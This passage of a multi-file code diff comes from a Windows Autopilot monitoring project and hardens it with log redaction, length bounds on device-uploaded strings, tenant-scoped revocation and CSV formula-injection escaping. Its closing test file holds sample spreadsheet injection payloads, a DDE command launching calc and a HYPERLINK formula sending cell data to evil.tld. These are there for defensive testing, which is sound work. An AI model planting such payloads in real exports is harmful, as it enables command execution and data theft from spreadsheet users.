return `[${typeof value}]`;
}
/**
* Compact, size-bounded view of the tool arguments for the log line. Values are
* individually capped and the whole summary is bounded, so a pathological arg
* object can never bloat a log line. Null/undefined entries are dropped.
*/
export function summarizeArgs(args: Record<string, unknown>): Record<string, string> | undefined {
export function summarizeArgs(
args: Record<string, unknown>,
policy?: ArgPolicy,
): Record<string, string> | undefined {
const out: Record<string, string> = {};
let total = 0;
for (const [key, value] of Object.entries(args)) {
if (value === null || value === undefined) continue;
const mode = policy?.[key];
if (mode === 'drop') continue;
const rendered =
typeof value === 'string' ? cap(value, ARG_VALUE_CAP) : cap(JSON.stringify(value) ?? '', ARG_VALUE_CAP);
mode === 'keys' ? cap(renderKeysOnly(value), ARG_VALUE_CAP)
: typeof value === 'string' ? cap(value, ARG_VALUE_CAP)
: cap(JSON.stringify(value) ?? '', ARG_VALUE_CAP);
total += key.length + rendered.length;
if (total > ARGS_TOTAL_CAP) {
out['…'] = 'args summary truncated';
@@ -65,6 +92,7 @@ export async function withToolTelemetry<T>(
toolName: string,
args: Record<string, unknown>,
fn: () => T | Promise<T>,
argPolicy?: ArgPolicy,
): Promise<T> {
if (!toolLoggingEnabled) {
return runWithToolName(toolName, fn) as Promise<T>;
@@ -104,7 +132,7 @@ export async function withToolTelemetry<T>(
// that is frequently overCap needs tighter defaults or projections.
overCap: Number.isFinite(capValue) && capValue > 0 ? resultChars > capValue : false,
scope: callerScope(),
args: summarizeArgs(args),
args: summarizeArgs(args, argPolicy),
timestamp: new Date().toISOString(),
}));
} catch {
@@ -1360,7 +1360,10 @@ export function registerAdminTools(server: McpServer, ga: boolean, strictGa: boo
} catch (error: unknown) {
return toolError('update_tenant_config', args, error);
}
})
// `fields` carries the REAL clear-text values (webhook/SAS URLs, custom
// headers). Tool logging records only the field names — values live in the
// GA-gated backup snapshot and audit log, never in the container log stream.
}, { fields: 'keys' })
);
if (strictGa) server.registerTool(
@@ -327,7 +327,7 @@ namespace AutopilotMonitor.DecisionCore.Engine
.WithLastAppliedSignalOrdinal(signal.SessionSignalOrdinal)
.CancelDeadline(DeadlineNames.HelloSafety);
builder.HelloResolvedUtc = new SignalFact<DateTime>(signal.OccurredAtUtc, signal.SessionSignalOrdinal);
builder.HelloOutcome = new SignalFact<string>(outcome, signal.SessionSignalOrdinal);
builder.HelloOutcome = new SignalFact<string>(FactStringBounds.Bound(outcome)!, signal.SessionSignalOrdinal);
var desktopAlreadyArrived = state.DesktopArrivedUtc != null;
var helloSafetyCancelEffect = BuildHelloSafetyCancelEffectIfArmed(state);
@@ -741,7 +741,7 @@ namespace AutopilotMonitor.DecisionCore.Engine
if (!string.IsNullOrEmpty(patternId))
{
builder.ImeMatchedPatternId = new SignalFact<string>(patternId!, signal.SessionSignalOrdinal);
builder.ImeMatchedPatternId = new SignalFact<string>(FactStringBounds.Bound(patternId)!, signal.SessionSignalOrdinal);
}
// Recording rule: first POST-AccountSetup observation wins (M2, delta review
@@ -55,6 +55,9 @@ namespace AutopilotMonitor.DecisionCore.Engine
// — the SemVer prerelease tag, absent tag == stable release).
public const string ProductVersion = "productVersion";
public const string ReleaseChannel = "releaseChannel";
// Set on RealmJoinAutoUpdateDetected: the version the facts carried before the
// self-update (ProductVersion/ReleaseChannel then describe the NEW build).
public const string PreviousVersion = "previousVersion";
}
/// <summary>
@@ -111,8 +114,8 @@ namespace AutopilotMonitor.DecisionCore.Engine
var alreadyDetected = state.RealmJoinFacts.DetectedUtc != null;
var phase = TryReadPhase(signal);
var productVersion = TryReadString(signal, RealmJoinPayloadKeys.ProductVersion);
var releaseChannel = TryReadString(signal, RealmJoinPayloadKeys.ReleaseChannel);
var productVersion = FactStringBounds.Bound(TryReadString(signal, RealmJoinPayloadKeys.ProductVersion));
var releaseChannel = FactStringBounds.Bound(TryReadString(signal, RealmJoinPayloadKeys.ReleaseChannel));
var updatedFacts = state.RealmJoinFacts.WithDetected(signal.OccurredAtUtc, signal.SessionSignalOrdinal);
if (phase.HasValue)
{
@@ -387,6 +390,47 @@ namespace AutopilotMonitor.DecisionCore.Engine
/// the <c>realmjoin_first_deployment_incomplete</c> Warning, cancels the hard-timeout
/// deadline and releases the completion gate — for us RJ is finished at that point.
/// </summary>
/// <summary>
/// RJ self-update observed after detection. Overrides the set-once version facts so
/// <see cref="RealmJoinFacts.ProductVersion"/> / <see cref="RealmJoinFacts.ReleaseChannel"/>
/// describe the build that actually ran the deployment. Pure bookkeeping: no gate, no
/// deadline, no activity credit (the update precedes the deployment, it is not
/// deployment progress). Missing <c>productVersion</c> dead-ends.
/// </summary>
private DecisionStep HandleRealmJoinAutoUpdateDetectedV1(DecisionState state, DecisionSignal signal)
{
var newVersion = TryReadString(signal, RealmJoinPayloadKeys.ProductVersion);
if (string.IsNullOrEmpty(newVersion))
{
var deadEnd = BumpStepBookkeeping(state, signal);
var deadEndTransition = BuildDeadEndTransition(
state: state,
signal: signal,
nextStepIndex: deadEnd.StepIndex,
trigger: nameof(DecisionSignalKind.RealmJoinAutoUpdateDetected),
deadEndReason: "realmjoin_autoupdate_missing_version");
return new DecisionStep(deadEnd, deadEndTransition, Array.Empty<DecisionEffect>());
}
var nextStep = state.StepIndex + 1;
var builder = state.ToBuilder()
.WithStepIndex(nextStep)
.WithLastAppliedSignalOrdinal(signal.SessionSignalOrdinal);
builder.RealmJoinFacts = state.RealmJoinFacts.WithVersionOverride(
newVersion!,
TryReadString(signal, RealmJoinPayloadKeys.ReleaseChannel),
signal.SessionSignalOrdinal);
var bookkept = builder.Build();
var transition = BuildTakenTransition(
before: state,
signal: signal,
toStage: state.Stage,
nextStepIndex: nextStep,
trigger: nameof(DecisionSignalKind.RealmJoinAutoUpdateDetected));
return new DecisionStep(bookkept, transition, Array.Empty<DecisionEffect>());
}
private DecisionStep HandleRealmJoinPhaseChangedV1(DecisionState state, DecisionSignal signal)
{
var currentPhase = TryReadPhase(signal);
@@ -144,6 +144,7 @@ namespace AutopilotMonitor.DecisionCore.Engine
(DecisionSignalKind.RealmJoinDetected, 1) => HandleRealmJoinDetectedV1(state, signal),
(DecisionSignalKind.RealmJoinResolved, 1) => HandleRealmJoinResolvedV1(state, signal),
(DecisionSignalKind.RealmJoinPhaseChanged, 1) => HandleRealmJoinPhaseChangedV1(state, signal),
(DecisionSignalKind.RealmJoinAutoUpdateDetected, 1) => HandleRealmJoinAutoUpdateDetectedV1(state, signal),
(DecisionSignalKind.RealmJoinPackageStarted, 1) => HandleRealmJoinPackageStartedV1(state, signal),
(DecisionSignalKind.RealmJoinPackageCompleted, 1) => HandleRealmJoinPackageCompletedV1(state, signal),
// Note: RealmJoinTimeout is a deadline-only kind (no direct adapter signal) —
@@ -125,5 +125,11 @@ namespace AutopilotMonitor.DecisionCore.Signals
// the run as a secondary-user deployment, which writes 200/210 and NEVER 110 — the
// gate would otherwise stay closed until the 60-min hard timeout.
RealmJoinPhaseChanged,
// RJ replaced its own binary after detection (tray AppUpdater on first start: "New
// version found …, update required" → service restarts on the new build minutes after
// RealmJoinDetected captured the MSI-shipped version). Bookkeeping-only: overrides
// RealmJoinFacts.ProductVersion/ReleaseChannel so the persisted facts match what
// actually ran the deployment. Never touches the gate or the timeout deadline.
RealmJoinAutoUpdateDetected,
}
}
@@ -110,6 +110,7 @@ namespace AutopilotMonitor.DecisionCore.State
var newIds = FailedAppIds;
if (!string.IsNullOrEmpty(appId))
{
appId = FactStringBounds.Bound(appId); // before the scan — bounded compare key
var alreadyTracked = false;
for (var i = 0; i < FailedAppIds.Count; i++)
{
@@ -207,7 +207,7 @@ namespace AutopilotMonitor.DecisionCore.State
EspAdvisoryFailureRecordedUtc = new SignalFact<DateTime>(utc, sourceSignalOrdinal);
if (!string.IsNullOrEmpty(failedCategory))
{
EspAdvisoryFailureCategory = new SignalFact<string>(failedCategory!, sourceSignalOrdinal);
EspAdvisoryFailureCategory = new SignalFact<string>(FactStringBounds.Bound(failedCategory)!, sourceSignalOrdinal);
}
return this;
}
@@ -0,0 +1,36 @@
namespace AutopilotMonitor.DecisionCore.State
{
/// <summary>
/// Length bound for every signal-payload-derived string that is stored into
/// <see cref="DecisionState"/> (package ids, app ids, outcome/category/pattern
/// identifiers, version strings).
/// </summary>
/// <remarks>
/// <para>
/// The reducer runs on the device AND server-side in <c>ReducerVerifier</c> (semantic
/// replay of the uploaded signal stream). Replay folds up to 5000 device-uploaded payloads
/// through the engine, so an unbounded payload string becomes an unbounded state string —
/// copied into every snapshot persist, every audit trail and every dedupe comparison.
/// Bounding at the reducer boundary keeps state size and per-signal work independent of
/// what a forged payload carries.
/// </para>
/// <para>
/// The bound never truncates real telemetry: the strings it covers are registry key names
/// (Windows caps those at 255 characters), IME app GUIDs, fixed enum-like outcome strings
/// and SemVer version strings. Anything longer is by construction not something a device
/// can observe.
/// </para>
/// </remarks>
public static class FactStringBounds
{
/// <summary>One rule for all fact strings; <see cref="RealmJoinPackageFact.MaxDisplayNameLength"/> aliases it.</summary>
public const int MaxLength = 256;
/// <summary>Truncate <paramref name="value"/> to <see cref="MaxLength"/>; null and short values pass through unchanged.</summary>
public static string? Bound(string? value)
{
if (value == null || value.Length <= MaxLength) return value;
return value.Substring(0, MaxLength);
}
}
}
@@ -14,6 +14,7 @@ namespace AutopilotMonitor.DecisionCore.State
/// <list type="bullet">
/// <item>Immutable; <see cref="With"/>-methods return new instances.</item>
/// <item><see cref="Packages"/> is capped at <see cref="MaxPackages"/>; overflow is discarded.</item>
/// <item>Every payload-derived string in a package row is bounded by <see cref="FactStringBounds"/>; <see cref="RealmJoinPackageFact.Scope"/> is normalised to the two known scopes.</item>
/// <item><see cref="ResolvedUtc"/> is set once on observing phase 110 (or the aborted-first-deployment release); later phase readings update <see cref="LastDeploymentPhase"/> only.</item>
/// <item><see cref="Outcome"/> is one of <c>"Resolved"</c> / <c>"Timeout"</c> / <c>"FirstDeploymentIncomplete"</c>; null while RJ is still running.</item>
/// </list>
@@ -167,6 +168,31 @@ namespace AutopilotMonitor.DecisionCore.State
lastActivityUtc: LastActivityUtc);
}
/// <summary>
/// Auto-update override of the set-once version facts (<see cref="WithProductVersion"/> /
/// <see cref="WithReleaseChannel"/> deliberately refuse replays of Detected; a self-update
/// is the one legitimate later write). Empty <paramref name="productVersion"/> is a no-op;
/// a <c>null</c> <paramref name="releaseChannel"/> keeps the existing channel fact.
/// </summary>
public RealmJoinFacts WithVersionOverride(string productVersion, string? releaseChannel, long sourceSignalOrdinal)
{
if (string.IsNullOrEmpty(productVersion)) return this;
productVersion = FactStringBounds.Bound(productVersion)!;
releaseChannel = FactStringBounds.Bound(releaseChannel);
return new RealmJoinFacts(
detectedUtc: DetectedUtc,
resolvedUtc: ResolvedUtc,
lastDeploymentPhase: LastDeploymentPhase,
outcome: Outcome,
selfDeployingDeferredCompletion: SelfDeployingDeferredCompletion,
productVersion: new SignalFact<string>(productVersion, sourceSignalOrdinal),
releaseChannel: string.IsNullOrEmpty(releaseChannel)
? ReleaseChannel
: new SignalFact<string>(releaseChannel!, sourceSignalOrdinal),
packages: Packages,
lastActivityUtc: LastActivityUtc);
}
public RealmJoinFacts WithResolved(DateTime utc, int phase, long sourceSignalOrdinal)
{
if (ResolvedUtc != null) return this; // set-once
@@ -302,7 +328,13 @@ namespace AutopilotMonitor.DecisionCore.State
string scope,
DateTime startedUtc)
{
if (string.IsNullOrEmpty(packageId) || string.IsNullOrEmpty(scope)) return this;
if (string.IsNullOrEmpty(packageId)) return this;
// Bound the comparison keys BEFORE the scan so a forged multi-hundred-KB id neither
// costs a full-length compare per stored row nor lands in state (see FactStringBounds).
packageId = FactStringBounds.Bound(packageId)!;
scope = RealmJoinPackageFact.NormalizeScope(scope);
version = FactStringBounds.Bound(version);
for (var i = 0; i < Packages.Count; i++)
{
@@ -316,11 +348,7 @@ namespace AutopilotMonitor.DecisionCore.State
if (Packages.Count >= MaxPackages) return this;
var truncated = displayName ?? string.Empty;
if (truncated.Length > RealmJoinPackageFact.MaxDisplayNameLength)
{
truncated = truncated.Substring(0, RealmJoinPackageFact.MaxDisplayNameLength);
}
var truncated = FactStringBounds.Bound(displayName) ?? string.Empty;
var copy = new List<RealmJoinPackageFact>(Packages.Count + 1);
copy.AddRange(Packages);
@@ -360,13 +388,12 @@ namespace AutopilotMonitor.DecisionCore.State
bool success,
int lastExitCode)
{
if (string.IsNullOrEmpty(packageId) || string.IsNullOrEmpty(scope)) return this;
if (string.IsNullOrEmpty(packageId)) return this;
var truncated = displayName ?? string.Empty;
if (truncated.Length > RealmJoinPackageFact.MaxDisplayNameLength)
{
truncated = truncated.Substring(0, RealmJoinPackageFact.MaxDisplayNameLength);
}
packageId = FactStringBounds.Bound(packageId)!;
scope = RealmJoinPackageFact.NormalizeScope(scope);
version = FactStringBounds.Bound(version);
var truncated = FactStringBounds.Bound(displayName) ?? string.Empty;
var copy = new List<RealmJoinPackageFact>(Packages.Count);
var updated = false;
@@ -15,7 +15,7 @@ namespace AutopilotMonitor.DecisionCore.State
/// </remarks>
public sealed class RealmJoinPackageFact
{
public const int MaxDisplayNameLength = 256;
public const int MaxDisplayNameLength = FactStringBounds.MaxLength;
/// <summary>Machine-scope registration (<c>HKLM\SOFTWARE\RealmJoin\Packages</c>).</summary>
public const string ScopeMachine = "machine";
@@ -23,6 +23,17 @@ namespace AutopilotMonitor.DecisionCore.State
/// <summary>User-scope registration (<c>HKU\&lt;sid&gt;\SOFTWARE\RealmJoin\Packages</c>).</summary>
public const string ScopeUser = "user";
/// <summary>
/// Map a payload scope string onto <see cref="ScopeMachine"/> / <see cref="ScopeUser"/>.
/// The agent adapter only ever emits those two; anything else (missing, forged,
/// arbitrarily long) is treated as machine scope so the value stored into state is
/// always one of the two known constants.
/// </summary>
public static string NormalizeScope(string? scope)
{
return string.Equals(scope, ScopeUser, StringComparison.Ordinal) ? ScopeUser : ScopeMachine;
}
public RealmJoinPackageFact(
string packageId,
string displayName,
@@ -259,7 +259,9 @@ namespace AutopilotMonitor.Shared
/// SESSION-OWNER-BINDING: the session named by the request is bound to a different
/// device identity than the caller presented. The agent's correct reaction is to
/// rotate its SessionId and register afresh — NOT to count it as an auth failure.
/// Reserved in stage 1 (shadow); emitted only once enforcement is switched on.
/// Owner-binding: reserved in stage 1 (shadow), emitted once enforcement is on.
/// Already emitted by RegisterSession (409) when the session id is claimed by
/// another tenant (SessionTenantLookup first-writer-wins).
/// </summary>
public const string SessionOwnerMismatch = "session_owner_mismatch";
}
@@ -439,7 +441,7 @@ namespace AutopilotMonitor.Shared
public const string RegistryAppBaseline = "registry_app_baseline"; // Info, one-shot at agent start (only when non-empty): summary of the Win32Apps state that PREDATES this agent run. Closes the WDP pre-agent gap — DPP-policy apps install in Batch 1 before the bootstrap-script agent exists, so their outcomes live only in this baseline (typed payload capped at 50 apps).
public const string AppStateReconciliation = "app_state_reconciliation"; // Warning, once per app, immediate upload: registry terminal outcome (settled >= 90 s) diverges from the IME-log-derived app state — the built-in log-pattern drift alarm (registry = truth, logs = narrative).
public const string ImeTrackerDegraded = "ime_tracker_degraded"; // Warning, one-shot per session, immediate upload: a log-tracker pass skipped work (oversized lines dropped, regex timeouts, per-line budget breaks). Expected value in the fleet is "never" — any occurrence means hostile or malformed input in the IME Logs folder.
public const string ImePatternHits = "ime_pattern_hits"; // Info, once per session at termination: per-pattern match counts for every enabled IME log pattern (zeros included) + tracker health counters. Backend aggregates per IME version (ImePatternStats) — the pattern-drift signal.
public const string ImePatternHits = "ime_pattern_hits"; // Debug (operator signal, hidden from the default timeline), once per session at termination: per-pattern match counts for every enabled IME log pattern (zeros included) + tracker health counters. Backend aggregates per IME version (ImePatternStats) — the pattern-drift signal.
public const string ImeUserSessionCompleted = "ime_user_session_completed";
public const string DoTelemetry = "do_telemetry";
public const string AllAppsCompleted = "all_apps_completed";
@@ -547,6 +549,11 @@ namespace AutopilotMonitor.Shared
public const string RealmJoinFirstDeploymentIncomplete = "realmjoin_first_deployment_incomplete";
public const string RealmJoinPackageStarted = "realmjoin_package_started";
public const string RealmJoinPackageCompleted = "realmjoin_package_completed";
// Info: RJ replaced its own binary after realmjoin_detected (tray AppUpdater on
// first start). Data: previousVersion, newVersion, releaseChannel. Source of truth
// for the version that ran the deployment — realmjoin_detected carries the
// MSI-shipped build.
public const string RealmJoinAutoUpdateDetected = "realmjoin_autoupdate_detected";
// =====================================================================
// Single-source consolidation (2026-05-29): event-type string literals
@@ -14,7 +14,13 @@ namespace AutopilotMonitor.Shared.DataAccess
Task<BootstrapSession?> GetBootstrapSessionByCodeAsync(string shortCode);
Task<BootstrapSession?> ValidateBootstrapTokenAsync(string token);
Task<List<BootstrapSession>> GetBootstrapSessionsAsync(string tenantId);
Task<bool> RevokeBootstrapSessionAsync(string shortCode);
/// <summary>
/// Revokes a bootstrap session only when the code belongs to <paramref name="tenantId"/>.
/// Returns false (indistinguishable from "not found") when the code does not exist
/// or is owned by another tenant — the short code is a platform-global identifier
/// and the caller's tenant scope must be enforced here, not just at the route.
/// </summary>
Task<bool> RevokeBootstrapSessionAsync(string tenantId, string shortCode);
Task<bool> IncrementBootstrapUsageAsync(string shortCode);
Task<int> CleanupExpiredAsync();
}
@@ -16,6 +16,33 @@ namespace AutopilotMonitor.Shared.DataAccess
/// transaction limit.
/// </para>
/// </summary>
/// <summary>Shared limits for session-scoped signal reads (see <see cref="ISignalRepository.QueryBySessionAsync"/>).</summary>
public static class SignalQueryLimits
{
/// <summary>
/// Cumulative <see cref="SignalRecord.PayloadJson"/> characters a single session read may
/// hold in memory. 32 M chars (~64 MB UTF-16) is far above any real session — a full
/// 5000-signal stream of typical payloads is well under 5 M chars — but small enough
/// that one poisoned session cannot push a worker past its memory limit.
/// </summary>
public const long DefaultMaxTotalPayloadChars = 32L * 1024 * 1024;
/// <summary>
/// True when <paramref name="signals"/> filled the payload budget, i.e. the read may have
/// stopped before the session's last row. Mirrors the repository's stop condition.
/// </summary>
public static bool IsPayloadBudgetExhausted(IReadOnlyList<SignalRecord> signals, long maxTotalPayloadChars)
{
long total = 0;
for (var i = 0; i < signals.Count; i++)
{
total += signals[i].PayloadJson?.Length ?? 0;
if (total >= maxTotalPayloadChars) return true;
}
return false;
}
}
public interface ISignalRepository
{
/// <summary>
@@ -26,10 +53,23 @@ namespace AutopilotMonitor.Shared.DataAccess
/// <summary>
/// Reads up to <paramref name="maxResults"/> signal records for a single session,
/// ordered by <see cref="SignalRecord.SessionSignalOrdinal"/> ascending. Used by the
/// Inspector read endpoint (<c>GET /api/sessions/{id}/signals</c>, Plan §M5).
/// Inspector read endpoint (<c>GET /api/sessions/{id}/signals</c>, Plan §M5) and the
/// reducer-verification replay.
/// <para>
/// <paramref name="maxTotalPayloadChars"/> bounds the cumulative
/// <see cref="SignalRecord.PayloadJson"/> length held in memory: the payloads are
/// device-uploaded and chunk-stored up to the ~1 MB entity limit, so a row cap alone
/// leaves peak memory at rows × 1 MB. Rows are appended until the budget is reached
/// (the row that crosses it is still included); callers detect truncation with
/// <see cref="SignalQueryLimits.IsPayloadBudgetExhausted"/>.
/// </para>
/// </summary>
Task<List<SignalRecord>> QueryBySessionAsync(
string tenantId, string sessionId, int maxResults = 1000, CancellationToken cancellationToken = default);
string tenantId,
string sessionId,
int maxResults = 1000,
CancellationToken cancellationToken = default,
long maxTotalPayloadChars = SignalQueryLimits.DefaultMaxTotalPayloadChars);
/// <summary>
/// Cross-partition scan of all signals whose Azure Tables server-side <c>Timestamp</c>
@@ -103,6 +103,10 @@ const OPS_EVENT_TYPES: Record<string, string[]> = {
// different device identity (SessionOwnerBindingObserver, throttled 1h per session+outcome).
// Stage 1 observes only. Dual-register per memory feedback_ops_event_types_dual_register.
"SessionOwnerMismatch",
// A registration named a sessionId already owned by ANOTHER tenant (first-writer-wins
// SessionTenantLookup claim) and was refused with 409. Dual-register per memory
// feedback_ops_event_types_dual_register.
"SessionTenantConflict",
"EmbeddedCertExpiringSoon",
"EmbeddedCertExpiringUrgent",
"EmbeddedCertExpired",
@@ -21,6 +21,7 @@ interface ProxyConfigData { [key: string]: unknown; proxyType?: string; type?: s
interface AutopilotProfileData { [key: string]: unknown; PolicyDownloadDate?: string; AutopilotCreationDate?: string; autopilotModeLabel?: string; domainJoinMethodLabel?: string }
interface ImeVersionData { [key: string]: unknown; version?: string; agentVersion?: string }
interface RealmJoinInfoData { [key: string]: unknown; productVersion?: string; releaseChannel?: string }
interface RealmJoinAutoUpdateData { [key: string]: unknown; previousVersion?: string; newVersion?: string; releaseChannel?: string }
interface TpmStatusData { [key: string]: unknown; specVersion?: string }
interface BitLockerStatusData { [key: string]: unknown; volumes?: unknown[] }
interface DeviceLocationData { [key: string]: unknown; country?: string; Country?: string; timezone?: string; Timezone?: string }
@@ -189,7 +190,17 @@ export default function DeviceDetailsCard({ events, latestAgentVersion, session
session?.isCloudPc === true || `${autopilotProfileMissingEvent?.isCloudPc}` === "true";
const aadJoinStatus = getEventData("aad_join_status");
const imeVersion = getEventData<ImeVersionData>("ime_agent_version");
const realmJoinInfo = getEventData<RealmJoinInfoData>("realmjoin_detected");
// realmjoin_detected carries the MSI-shipped build; the tray often self-updates minutes later
// (realmjoin_autoupdate_detected). The latest auto-update is the version that ran the deployment.
const realmJoinDetected = getEventData<RealmJoinInfoData>("realmjoin_detected");
const realmJoinAutoUpdate = getEventData<RealmJoinAutoUpdateData>("realmjoin_autoupdate_detected");
const realmJoinInfo: RealmJoinInfoData | null = realmJoinAutoUpdate?.newVersion
? { productVersion: realmJoinAutoUpdate.newVersion, releaseChannel: realmJoinAutoUpdate.releaseChannel ?? realmJoinDetected?.releaseChannel }
: realmJoinDetected;
const realmJoinInitialVersion =
realmJoinAutoUpdate?.newVersion && realmJoinDetected?.productVersion && realmJoinDetected.productVersion !== realmJoinAutoUpdate.newVersion
? realmJoinDetected.productVersion
: null;
const bitLockerStatus = getEventData<BitLockerStatusData>("bitlocker_status");
const secureBootStatus = getEventData("secureboot_status");
const tpmStatus = getEventData<TpmStatusData>("tpm_status");
@@ -387,38 +398,6 @@ export default function DeviceDetailsCard({ events, latestAgentVersion, session
</DetailSection>
)}
{/* IME log tracker health: queue depth + skip counters from the periodic snapshot,
session totals from the terminal ime_pattern_hits event. Skip counters are
expected to be 0 — any other value is a reason to look at the client log. */}
{(imeTracker || patternHits) && (
<DetailSection title="IME Tracker">
{imeTracker?.ime_files_tailed !== undefined && (
<DetailRow label="Log files tailed" value={String(imeTracker.ime_files_tailed)} />
)}
{imeTracker?.ime_backlog_bytes !== undefined && (
<DetailRow label="Unread backlog" value={Number(imeTracker.ime_backlog_bytes) > 0 ? formatBytesCompact(Number(imeTracker.ime_backlog_bytes)) : "0 (caught up)"} />
)}
{(patternHits?.linesRead ?? imeTracker?.ime_lines_read) !== undefined && (
<DetailRow label="Lines read" value={Number(patternHits?.linesRead ?? imeTracker?.ime_lines_read).toLocaleString()} />
)}
{(patternHits?.entriesMatched ?? imeTracker?.ime_entries_matched) !== undefined && (
<DetailRow label="Pattern matches" value={Number(patternHits?.entriesMatched ?? imeTracker?.ime_entries_matched).toLocaleString()} />
)}
{patternHits?.matchedPatterns !== undefined && patternHits?.patternCount !== undefined && (
<DetailRow label="Patterns matched" value={`${patternHits.matchedPatterns} / ${patternHits.patternCount}`} />
)}
<DetailRow
label="Skipped work"
value={imeSkips > 0
? `${imeSkipParts.join(", ")} — see ime_tracker_degraded`
: "none"}
/>
{(patternHits?.unanchoredPatterns ?? imeTracker?.ime_unanchored_patterns) !== undefined && Number(patternHits?.unanchoredPatterns ?? imeTracker?.ime_unanchored_patterns) > 0 && (
<DetailRow label="Unanchored patterns" value={String(patternHits?.unanchoredPatterns ?? imeTracker?.ime_unanchored_patterns)} />
)}
</DetailSection>
)}
{/* Security */}
{(bitLockerStatus || secureBootStatus || tpmStatus) && (
<DetailSection title="Security">
@@ -475,7 +454,7 @@ export default function DeviceDetailsCard({ events, latestAgentVersion, session
)}
</div>
{/* Right Column: System, Autopilot Profile, Hardware */}
{/* Right Column: System, Autopilot Profile, Hardware, IME Tracker */}
<div className="flex-1 flex flex-col gap-6">
{/* System */}
{(estimatedBootTime || agentStarted?.agentVersion || imeVersion || realmJoinInfo?.productVersion || aadJoinStatus?.joinType || deviceLocation?.country || deviceLocation?.Country || deviceLocation?.timezone || deviceLocation?.Timezone) && (
@@ -510,9 +489,10 @@ export default function DeviceDetailsCard({ events, latestAgentVersion, session
<DetailRow
label="RealmJoin Agent Version"
value={
realmJoinInfo.releaseChannel && realmJoinInfo.releaseChannel !== "release"
(realmJoinInfo.releaseChannel && realmJoinInfo.releaseChannel !== "release"
? `${realmJoinInfo.productVersion} (${realmJoinInfo.releaseChannel})`
: realmJoinInfo.productVersion
: realmJoinInfo.productVersion!) +
(realmJoinInitialVersion ? ` — auto-updated from ${realmJoinInitialVersion}` : "")
}
/>
)}
@@ -668,6 +648,39 @@ export default function DeviceDetailsCard({ events, latestAgentVersion, session
})}
</DetailSection>
)}
{/* IME log tracker health: queue depth + skip counters from the periodic snapshot,
session totals from the terminal ime_pattern_hits event. Skip counters are
expected to be 0 — any other value is a reason to look at the client log. */}
{(imeTracker || patternHits) && (
<DetailSection title="IME Tracker">
{imeTracker?.ime_files_tailed !== undefined && (
<DetailRow label="Log files tailed" value={String(imeTracker.ime_files_tailed)} />
)}
{imeTracker?.ime_backlog_bytes !== undefined && (
<DetailRow label="Unread backlog" value={Number(imeTracker.ime_backlog_bytes) > 0 ? formatBytesCompact(Number(imeTracker.ime_backlog_bytes)) : "0 (caught up)"} />
)}
{(patternHits?.linesRead ?? imeTracker?.ime_lines_read) !== undefined && (
<DetailRow label="Lines read" value={Number(patternHits?.linesRead ?? imeTracker?.ime_lines_read).toLocaleString()} />
)}
{(patternHits?.entriesMatched ?? imeTracker?.ime_entries_matched) !== undefined && (
<DetailRow label="Pattern matches" value={Number(patternHits?.entriesMatched ?? imeTracker?.ime_entries_matched).toLocaleString()} />
)}
{patternHits?.matchedPatterns !== undefined && patternHits?.patternCount !== undefined && (
<DetailRow label="Patterns matched" value={`${patternHits.matchedPatterns} / ${patternHits.patternCount}`} />
)}
<DetailRow
label="Skipped work"
value={imeSkips > 0 ? imeSkipParts.join(", ") : "none"}
title={imeSkips > 0
? "Matching was cut short on some log lines — pattern coverage may be incomplete for this session. Nothing to fix on your side; use Report Session if the stats look wrong."
: undefined}
/>
{(patternHits?.unanchoredPatterns ?? imeTracker?.ime_unanchored_patterns) !== undefined && Number(patternHits?.unanchoredPatterns ?? imeTracker?.ime_unanchored_patterns) > 0 && (
<DetailRow label="Unanchored patterns" value={String(patternHits?.unanchoredPatterns ?? imeTracker?.ime_unanchored_patterns)} />
)}
</DetailSection>
)}
</div>
</div>
)}
@@ -691,11 +704,11 @@ function formatBytesCompact(bytes: number): string {
return `${(bytes / 1024).toFixed(0)} KB`;
}
function DetailRow({ label, value }: { label: string; value: string }) {
function DetailRow({ label, value, title }: { label: string; value: string; title?: string }) {
return (
<div className="flex justify-between text-xs py-0.5">
<span className="text-gray-500">{label}</span>
<span className="text-gray-900 font-mono ml-2 text-right break-all" title={value}>{value}</span>
<span className="text-gray-900 font-mono ml-2 text-right break-all" title={title ?? value}>{value}</span>
</div>
);
}
@@ -0,0 +1,68 @@
import { describe, it, expect } from "vitest";
import {
csvCell,
generateCsvExport,
generateSessionCsvExport,
generateRuleResultsCsvExport,
type SessionExportEvent,
type SessionCsvData,
} from "../sessionExportUtils";
// CWE-1236: device-originated strings must reach the spreadsheet as inert text.
describe("csvCell", () => {
it.each(["=", "+", "-", "@", "\t", "\r"])("neutralizes a leading %j", (ch) => {
expect(csvCell(`${ch}1+1`)).toBe(`"'${ch}1+1"`);
});
it("neutralizes DDE / HYPERLINK payloads", () => {
expect(csvCell("=cmd|' /C calc'!A0")).toBe(`"'=cmd|' /C calc'!A0"`);
expect(csvCell('=HYPERLINK("https://evil.tld/x?"&A1,"x")')).toBe(
`"'=HYPERLINK(""https://evil.tld/x?""&A1,""x"")"`
);
});
it("leaves ordinary values untouched apart from quoting", () => {
expect(csvCell("Hello world")).toBe('"Hello world"');
expect(csvCell('say "hi"')).toBe('"say ""hi"""');
expect(csvCell("")).toBe('""');
expect(csvCell(undefined)).toBe('""');
expect(csvCell("a=b")).toBe('"a=b"');
});
});
describe("CSV exports neutralize device-controlled fields", () => {
it("event export", () => {
const ev: SessionExportEvent = {
eventId: "e1", sessionId: "s1", tenantId: "t1", timestamp: "2026-01-01T00:00:00Z",
eventType: "=evil", severity: "Info", source: "+src", phase: 0,
message: "=1+1", sequence: 1, data: { k: "v" },
};
const row = generateCsvExport([ev]).split("\n")[1];
expect(row).toContain(`"'=evil"`);
expect(row).toContain(`"'+src"`);
expect(row).toContain(`"'=1+1"`);
expect(row).not.toMatch(/,"[=+\-@]/);
});
it("session export", () => {
const s: SessionCsvData = {
sessionId: "s1", tenantId: "t1", serialNumber: "-SN", deviceName: "@dev",
manufacturer: "=M", model: "+Mod", startedAt: "2026-01-01T00:00:00Z",
currentPhase: 0, status: "Failed", eventCount: 0, failureReason: "=cmd|' /C calc'!A0",
durationSeconds: 0, diagnosticsBlobName: "=blob",
};
const row = generateSessionCsvExport(s).split("\n")[1];
expect(row).not.toMatch(/(^|,)"[=+\-@\t\r]/);
expect(row).toContain(`"'=cmd|' /C calc'!A0"`);
});
it("rule results export", () => {
const row = generateRuleResultsCsvExport([{
resultId: "r", sessionId: "s", tenantId: "t", ruleId: "R", ruleTitle: "T",
severity: "High", category: "C", confidenceScore: 1, explanation: "=exp",
remediation: [], relatedDocs: [], matchedConditions: { x: 1 }, detectedAt: "2026-01-01T00:00:00Z",
}]).split("\n")[1];
expect(row).toContain(`"'=exp"`);
